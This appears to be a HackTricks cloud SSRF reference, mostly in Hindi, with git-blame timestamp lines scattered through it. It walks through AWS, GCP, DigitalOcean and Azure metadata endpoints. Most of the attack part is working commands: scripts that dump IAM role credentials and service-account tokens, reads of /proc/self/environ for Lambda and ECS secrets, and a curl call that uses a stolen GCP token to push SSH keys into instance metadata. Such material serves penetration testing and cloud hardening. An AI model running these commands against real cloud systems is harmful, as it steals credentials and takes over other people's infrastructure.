2024-04-06 18:32:19 +00:00
# Cloud SSRF
2022-04-28 16:01:33 +00:00
2024-07-19 16:18:57 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:18:57 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:18:57 +00:00
< summary > Support HackTricks< / summary >
2024-01-01 19:59:09 +00:00
2024-07-19 16:18:57 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:18:57 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-02 18:53:13 +00:00
## AWS
2022-04-28 16:01:33 +00:00
2024-09-04 13:36:53 +00:00
### Abusing SSRF in AWS EC2 environment
2022-02-13 12:30:13 +00:00
2024-09-04 13:36:53 +00:00
**The metadata** endpoint को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: `http://169.254.169.254` ([metadata के बारे में जानकारी यहाँ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))।
2022-05-08 19:05:00 +00:00
2024-09-04 13:36:53 +00:00
**Metadata endpoint** के **2 संस्करण** हैं। **पहला** संस्करण **GET** अनुरोधों के माध्यम से **endpoint** तक पहुँचने की अनुमति देता है (इसलिए कोई भी **SSRF इसका लाभ उठा सकता है** )। **संस्करण 2** के लिए, [IMDSv2 ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html ), आपको एक **टोकन** के लिए **PUT** अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ metadata तक पहुँचने के लिए करना होगा (इसलिए इसे SSRF के साथ **दुरुपयोग करना अधिक जटिल है** )।
2022-05-08 19:05:00 +00:00
2023-08-28 09:09:07 +00:00
{% hint style="danger" %}
2024-09-04 13:36:53 +00:00
ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार** ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html ), **PUT अनुरोध का उत्तर** में **hop limit 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 metadata तक पहुँच पाना असंभव हो जाएगा।
2023-08-28 09:09:07 +00:00
2024-07-19 16:18:57 +00:00
इसके अलावा, **IMDSv2** भी ** `X-Forwarded-For` हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा**। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
2023-08-28 09:09:07 +00:00
{% endhint %}
2022-06-02 13:49:01 +00:00
2024-09-04 13:36:53 +00:00
आप [metadata endpoints के बारे में जानकारी दस्तावेजों में ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html ) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
2022-05-08 19:05:00 +00:00
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
2023-11-06 08:38:02 +00:00
aws_req="curl -s -f -H '$HEADER'"
2022-05-08 19:05:00 +00:00
elif [ "$(command -v wget)" ]; then
2023-11-06 08:38:02 +00:00
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
2022-05-08 19:05:00 +00:00
fi
2022-09-01 11:07:00 +00:00
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
2022-05-08 19:05:00 +00:00
echo ""
2022-05-11 10:13:29 +00:00
echo "Account Info"
2022-09-01 11:07:00 +00:00
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
2022-05-08 19:05:00 +00:00
echo ""
2022-05-11 10:13:29 +00:00
echo "Network Info"
2023-11-06 08:38:02 +00:00
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
2022-05-08 19:05:00 +00:00
done
echo ""
2022-05-11 10:13:29 +00:00
echo "IAM Role"
2022-09-01 11:07:00 +00:00
eval $aws_req "$URL/iam/info"
2023-11-06 08:38:02 +00:00
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
2022-05-08 19:05:00 +00:00
done
echo ""
2022-05-11 10:13:29 +00:00
echo "User Data"
2022-05-08 19:05:00 +00:00
# Search hardcoded credentials
2022-09-01 11:07:00 +00:00
eval $aws_req "http://169.254.169.254/latest/user-data"
2022-10-28 09:19:40 +00:00
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
2022-02-13 12:30:13 +00:00
```
2024-07-19 16:18:57 +00:00
एक **सार्वजनिक रूप से उपलब्ध IAM क्रेडेंशियल्स** के उदाहरण के लिए आप जा सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws ](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws )
2024-04-06 18:32:19 +00:00
2024-07-19 16:18:57 +00:00
आप सार्वजनिक **EC2 सुरक्षा क्रेडेंशियल्स** भी देख सकते हैं: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance ](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance )
2022-02-13 12:30:13 +00:00
2024-07-19 16:18:57 +00:00
आप फिर **उन क्रेडेंशियल्स को AWS CLI के साथ उपयोग कर सकते हैं** । यह आपको **उस भूमिका के पास जो अनुमति है, वह सब कुछ करने की अनुमति देगा** ।
2024-04-06 18:32:19 +00:00
2024-07-19 16:18:57 +00:00
नए क्रेडेंशियल्स का लाभ उठाने के लिए, आपको इस तरह का एक नया AWS प्रोफ़ाइल बनाना होगा:
2022-02-13 12:30:13 +00:00
```
[profilename]
2024-07-19 16:18:57 +00:00
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
2022-02-13 12:30:13 +00:00
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
2024-07-19 16:18:57 +00:00
ध्यान दें कि **aws\_session\_token** आवश्यक है ताकि प्रोफ़ाइल काम कर सके।
2024-04-06 18:32:19 +00:00
2024-07-19 16:18:57 +00:00
[**PACU** ](https://github.com/RhinoSecurityLabs/pacu ) का उपयोग खोजे गए क्रेडेंशियल्स के साथ आपके विशेषाधिकारों का पता लगाने और विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
2022-02-13 12:30:13 +00:00
2024-07-19 16:18:57 +00:00
### AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
2022-02-13 12:30:13 +00:00
2024-09-04 13:36:53 +00:00
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं** ।
2024-04-06 18:32:19 +00:00
2024-09-04 13:36:53 +00:00
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको ** \<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\
2024-07-19 16:18:57 +00:00
आप इसे **Path Traversal** का उपयोग करके `file:///proc/self/environ` को भेदकर पढ़ने में सक्षम हो सकते हैं।\
2024-09-04 13:36:53 +00:00
उल्लेखित http पता आपको **AccessKey, SecretKey और token** देगा।
2022-02-13 12:30:13 +00:00
```bash
2022-06-02 12:02:53 +00:00
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
2022-02-13 12:30:13 +00:00
```
2022-06-01 15:39:15 +00:00
{% hint style="info" %}
2024-07-19 16:18:57 +00:00
ध्यान दें कि **कुछ मामलों** में आप कंटेनर से **EC2 मेटाडेटा इंस्टेंस** तक पहुँच सकते हैं (पहले उल्लेखित IMDSv2 TTL सीमाओं की जाँच करें)। इन परिदृश्यों में, आप कंटेनर से कंटेनर IAM भूमिका और EC2 IAM भूमिका दोनों तक पहुँच सकते हैं।
2022-06-01 15:39:15 +00:00
{% endhint %}
2024-01-22 12:44:38 +00:00
### AWS Lambda के लिए SSRF <a href="#id-6f97" id="id-6f97"></a>
2022-05-11 11:17:22 +00:00
2024-07-19 16:18:57 +00:00
इस मामले में **क्रेडेंशियल्स env वेरिएबल्स में संग्रहीत होते हैं** । इसलिए, उन्हें एक्सेस करने के लिए आपको कुछ ऐसा एक्सेस करना होगा जैसे ** `file:///proc/self/environ` **।
2022-07-27 16:08:17 +00:00
2024-07-19 16:18:57 +00:00
**दिलचस्प env वेरिएबल्स** के **नाम** हैं:
2022-07-27 16:08:17 +00:00
* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
2024-07-19 16:18:57 +00:00
इसके अलावा, IAM क्रेडेंशियल्स के अलावा, Lambda फ़ंक्शंस के पास **इवेंट डेटा होता है जो फ़ंक्शन शुरू होने पर फ़ंक्शन को पास किया जाता है** । यह डेटा फ़ंक्शन के लिए [रनटाइम इंटरफेस ](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html ) के माध्यम से उपलब्ध कराया जाता है और इसमें **संवेदनशील** **जानकारी** हो सकती है (जैसे **stageVariables** के अंदर)। IAM क्रेडेंशियल्स के विपरीत, यह डेटा मानक SSRF के माध्यम से ** `http://localhost:9001/2018-06-01/runtime/invocation/next` ** पर पहुँच योग्य है।
2022-05-11 11:17:22 +00:00
2022-06-02 16:20:19 +00:00
{% hint style="warning" %}
2024-07-19 16:18:57 +00:00
ध्यान दें कि **lambda क्रेडेंशियल्स** **env वेरिएबल्स** के अंदर होते हैं। इसलिए यदि **lambda कोड का स्टैक ट्रेस** env वेरिएबल्स को प्रिंट करता है, तो ऐप में **एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है** ।
2022-06-02 16:20:19 +00:00
{% endhint %}
2024-01-22 12:44:38 +00:00
### AWS Elastic Beanstalk के लिए SSRF URL <a href="#id-6f97" id="id-6f97"></a>
2022-02-13 12:30:13 +00:00
2024-07-19 16:18:57 +00:00
हम API से `accountId` और `region` प्राप्त करते हैं।
2022-02-13 12:30:13 +00:00
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
2024-07-19 16:18:57 +00:00
हम फिर API से `AccessKeyId` , `SecretAccessKey` , और `Token` प्राप्त करते हैं।
2022-02-13 12:30:13 +00:00
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
2024-02-06 04:05:58 +00:00
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
2024-07-19 16:18:57 +00:00
फिर हम क्रेडेंशियल्स का उपयोग करते हैं `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` के साथ।
2024-02-06 04:05:58 +00:00
2024-01-22 12:44:38 +00:00
## GCP <a href="#id-6440" id="id-6440"></a>
2022-02-13 12:30:13 +00:00
2024-07-19 16:18:57 +00:00
आप [**यहां मेटाडेटा एंडपॉइंट्स के बारे में दस्तावेज़ पा सकते हैं** ](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata )।
2024-01-22 12:44:38 +00:00
### Google Cloud के लिए SSRF URL <a href="#id-6440" id="id-6440"></a>
2024-07-19 16:18:57 +00:00
HTTP हेडर ** `Metadata-Flavor: Google` ** की आवश्यकता होती है और आप निम्नलिखित URLs के साथ मेटाडेटा एंडपॉइंट तक पहुँच सकते हैं:
2022-02-13 12:30:13 +00:00
2022-02-16 09:28:48 +00:00
* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
2022-02-13 12:30:13 +00:00
2024-02-02 14:20:12 +00:00
जानकारी निकालने के लिए दिलचस्प एंडपॉइंट्स:
2022-02-16 09:28:48 +00:00
```bash
# /project
2022-05-01 12:41:36 +00:00
# Project name and number
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
2022-05-01 12:41:36 +00:00
# Project attributes
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
2022-02-16 09:28:48 +00:00
# /oslogin
2022-05-01 12:41:36 +00:00
# users
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
2022-05-01 12:41:36 +00:00
# groups
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
2022-05-01 12:41:36 +00:00
# security-keys
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
2022-05-01 12:41:36 +00:00
# authorize
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
2022-02-16 09:28:48 +00:00
# /instance
2022-05-01 12:41:36 +00:00
# Description
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
2022-05-01 12:41:36 +00:00
# Hostname
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
2022-05-01 12:41:36 +00:00
# ID
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
2022-05-01 12:41:36 +00:00
# Image
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
2022-05-01 12:41:36 +00:00
# Machine Type
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
2022-05-01 12:41:36 +00:00
# Name
2024-02-23 17:48:00 +00:00
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
2022-05-01 12:41:36 +00:00
# Tags
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
2022-05-01 12:41:36 +00:00
# Zone
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
2023-01-24 14:43:15 +00:00
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
2022-05-01 12:41:36 +00:00
# Network Interfaces
2023-11-06 08:38:02 +00:00
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
2022-02-16 09:28:48 +00:00
done
2022-05-01 12:41:36 +00:00
# Service Accounts
2023-11-06 08:38:02 +00:00
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
2022-02-16 09:28:48 +00:00
done
2022-05-01 12:41:36 +00:00
# K8s Attributtes
## Cluster location
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
2022-05-01 12:41:36 +00:00
## Cluster name
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
2022-05-01 12:41:36 +00:00
## Os-login enabled
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
2022-05-01 12:41:36 +00:00
## Kube-env
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
2022-05-01 12:41:36 +00:00
## Kube-labels
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
2022-05-01 12:41:36 +00:00
## Kubeconfig
2023-02-20 18:01:10 +00:00
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
2023-02-19 18:39:32 +00:00
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true& alt=text" \
2023-11-06 08:38:02 +00:00
-H "Metadata-Flavor: Google"
2023-02-19 18:39:32 +00:00
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true& alt=text" \
2023-11-06 08:38:02 +00:00
-H "Metadata-Flavor: Google"
2022-02-13 12:30:13 +00:00
```
2024-07-19 16:18:57 +00:00
Beta को वर्तमान में एक हेडर की आवश्यकता नहीं है (धन्यवाद Mathias Karlsson @avlidienbrunn )
2022-02-13 12:30:13 +00:00
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
2023-01-20 15:45:29 +00:00
{% hint style="danger" %}
2024-07-19 16:18:57 +00:00
**निकाले गए सेवा खाता टोकन** का उपयोग करने के लिए आप बस कर सकते हैं:
2023-01-20 15:45:29 +00:00
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=< token >
2023-01-25 11:53:16 +00:00
gcloud projects list
2023-01-20 15:45:29 +00:00
# Via setup
echo "< token > " > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
2023-01-25 11:53:16 +00:00
gcloud projects list
2023-01-22 18:27:01 +00:00
gcloud config unset auth/access_token_file
2023-01-20 15:45:29 +00:00
```
{% endhint %}
2024-07-19 16:18:57 +00:00
### SSH कुंजी जोड़ें <a href="#id-3e24" id="id-3e24"></a>
2022-02-13 12:30:13 +00:00
2023-11-06 08:38:02 +00:00
टोकन निकालें
2022-02-13 12:30:13 +00:00
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
2024-07-19 16:18:57 +00:00
टोकन के दायरे की जांच करें (पिछले आउटपुट के साथ या निम्नलिखित चलाकर)
2024-02-23 17:48:00 +00:00
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
2023-11-06 08:38:02 +00:00
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
2022-02-13 12:30:13 +00:00
}
```
2024-01-01 19:59:09 +00:00
अब SSH कुंजी को पुश करें।
2022-02-13 12:30:13 +00:00
2023-05-10 14:04:00 +00:00
{% code overflow="wrap" %}
2023-01-20 15:45:29 +00:00
```bash
2023-11-06 08:38:02 +00:00
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
2022-02-13 12:30:13 +00:00
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
2024-02-23 17:48:00 +00:00
{% endcode %}
2024-07-19 16:18:57 +00:00
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
2024-04-06 18:32:19 +00:00
2024-07-19 16:18:57 +00:00
मेटाडेटा एंडपॉइंट VMs की तरह ही काम करता है लेकिन कुछ एंडपॉइंट्स के बिना:
2024-02-23 17:48:00 +00:00
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
2024-07-19 16:18:57 +00:00
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
2022-02-13 12:30:13 +00:00
2022-12-13 22:52:41 +00:00
{% hint style="warning" %}
2024-07-19 16:18:57 +00:00
AWS Roles या GCP सेवा खाता जैसी चीजें नहीं हैं, इसलिए मेटाडेटा बॉट क्रेडेंशियल्स मिलने की उम्मीद न करें
2022-12-13 22:52:41 +00:00
{% endhint %}
2024-07-19 16:18:57 +00:00
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/` ](https://developers.digitalocean.com/documentation/metadata/ )
2024-01-01 19:59:09 +00:00
```
2022-02-13 12:30:13 +00:00
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
2023-11-06 08:38:02 +00:00
http://169.254.169.254/metadata/v1/
2022-02-13 12:30:13 +00:00
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
2024-07-19 16:18:57 +00:00
## Azure <a href="#cea8" id="cea8"></a>
2024-04-06 18:32:19 +00:00
2024-07-19 16:18:57 +00:00
### Azure VM
2024-02-02 14:20:12 +00:00
2024-07-19 16:18:57 +00:00
[**Docs** यहाँ ](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux ).
2023-09-02 23:48:41 +00:00
2024-07-19 16:18:57 +00:00
* **ज़रूरी** है कि हेडर `Metadata: true` हो
* **नहीं** होना चाहिए `X-Forwarded-For` हेडर
2024-03-03 13:58:32 +00:00
2024-07-19 16:18:57 +00:00
